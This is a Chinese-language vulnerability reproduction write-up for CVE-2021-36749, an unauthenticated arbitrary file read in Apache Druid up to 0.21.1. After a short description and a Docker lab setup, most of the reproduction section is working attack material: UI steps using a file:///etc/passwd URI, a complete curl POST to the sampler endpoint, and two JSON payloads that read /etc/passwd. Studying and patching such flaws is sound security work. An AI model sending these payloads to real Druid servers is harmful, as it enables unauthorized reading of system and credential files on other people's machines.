Apache Druid 任意文件读取漏洞(CVE-2021-36749)
0x01 漏洞简介
Apache Druid 是一个集时间序列数据库、数据仓库和全文检索系统特点于一体的分析性数据平台。
由于用户指定 HTTP InputSource 没有做出限制,可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。由于 Apache Druid 默认情况下是缺乏授权认证,攻击者可利用该漏洞在未授权情况下,构造恶意请求执行文件读取,最终造成服务器敏感性信息泄露。
0x02 影响版本
Apache Druid <= 0.21.1
0x03 环境搭建
使用docker拉去镜像: docker pull vulfocus/druid-cve_2021_36749
运行环境,随机映射端口:docker run -d -P vulfocus/druid-cve_2021_36749
查看端口开放情况:docker ps -a
访问8888端口映射的端口就是网站首页
0x04 漏洞复现
主界面–>Load data –>HTTP(s)–>Connect Data–>URIs(使用file://协议进行读取)
URIs填写file:///etc/passwd,然后点击apply按钮,页面直接回显
命令执行(load Data无法点击时可以试试)
向接口/druid/indexer/v1/sampler以POST请求的方式发送以下数据。
curl http://192.168.237.129:49154/druid/indexer/v1/sampler?for=connect -H "Content-Type:application/json" -X POST -d "{\"type\":\"index\",\"spec\":{\"type\":\"index\",\"ioConfig\":{\"type\":\"index\",\"firehose\":{\"type\":\"http\",\"uris\":[\" file:///etc/passwd \"]}},\"dataSchema\":{\"dataSource\":\"sample\",\"parser\":{\"type\":\"string\", \"parseSpec\":{\"format\":\"regex\",\"pattern\":\"(.*)\",\"columns\":[\"a\"],\"dimensionsSpec\":{},\"timestampSpec\":{\"column\":\"no_ such_ column\",\"missingValue\":\"2010-01-01T00:00:00Z\"}}}}},\"samplerConfig\":{\"numRows\":500,\"timeoutMs\":15000}}"
{
"type": "index",
"spec": {
"ioConfig": {
"type": "index",
"inputSource": {
"type": "local",
"baseDir": "/etc/",
"filter": "passwd"
},
"inputFormat": {
"type": "json",
"keepNullColumns": true
}
},
"dataSchema": {
"dataSource": "sample",
"timestampSpec": {
"column": "timestamp",
"format": "iso",
"missingValue": "1970"
},
"dimensionsSpec": {}
}
},
"type": "index",
"tuningConfig": {
"type": "index"
}
},
"samplerConfig": {
"numRows": 500,
"timeoutMs": 15000
}
}
或者(网传payload)
{
"type": "index",
"spec": {
"type": "index",
"ioConfig": {
"type": "index",
"firehose": {
"type": "http",
"uris": ["file:///etc/passwd"]
}
},
"dataSchema": {
"dataSource": "sample",
"parser": {
"type": "string",
"parseSpec": {
"format": "regex",
"pattern": "(.*)",
"columns": ["a"],
"dimensionsSpec": {},
"timestampSpec": {
"column": "!!!_no_such_column_!!!",
"missingValue": "2010-01-01T00:00:00Z"
}
}
}
}
},
"samplerConfig": {
"numRows": 500,
"timeoutMs": 15000
}
}
参考链接
https://blog.csdn.net/weixin_44309905/article/details/121559936